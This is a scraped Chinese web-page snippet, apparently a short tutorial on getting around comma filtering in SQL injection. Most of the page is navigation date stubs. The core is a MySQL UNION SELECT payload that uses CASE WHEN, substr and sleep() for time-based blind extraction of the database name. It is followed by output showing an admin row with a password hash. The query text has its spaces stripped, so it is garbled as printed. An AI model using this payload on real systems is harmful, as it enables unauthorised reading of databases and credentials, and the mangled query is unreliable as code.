12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
ADADADADAD
网络知识 时间：2024-12-03 10:19:43
作者：文/会员上传
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
12-09
sql注入过滤逗号的解决方法：通过case when then绕过，例如：mysql>select*fromlbcms_adminwhereadminnamelike"%a%"unionselect1,2,3,4,5,6,7,casewhensubstr(database()from1for
以下为本文的正文内容，内容仅供参考！本站为公益性网站，复制本文以及下载DOC文档全部免费。
sql注入过滤逗号的解决方法：
通过case when then绕过，例如：
mysql>select*fromlbcms_adminwhereadminnamelike"%a%"unionselect1,2,3,4,5,6,7,casewhensubstr(database()from1for1)='l'thensleep(3)else0end;+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
|ID|adminName|adminPassWord|adminLov|adminConfig|adminClass|adminLock|adminDate|
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
|1|admin|a797ba2993304483f0d180e25d14319a|520||NULL|SgrRUQ|2010-04-1400:00:00|
|1|2|3|4|5|6|7|0|
+----+-----------+-----------------+----------+-------------+------------+-----------+---------------------+
2 rows in set (3.00 sec)
11-20
11-19
11-20
11-20
11-20
11-19
11-20
11-20
11-19
11-20
11-19
11-19
11-19
11-19
11-19
11-19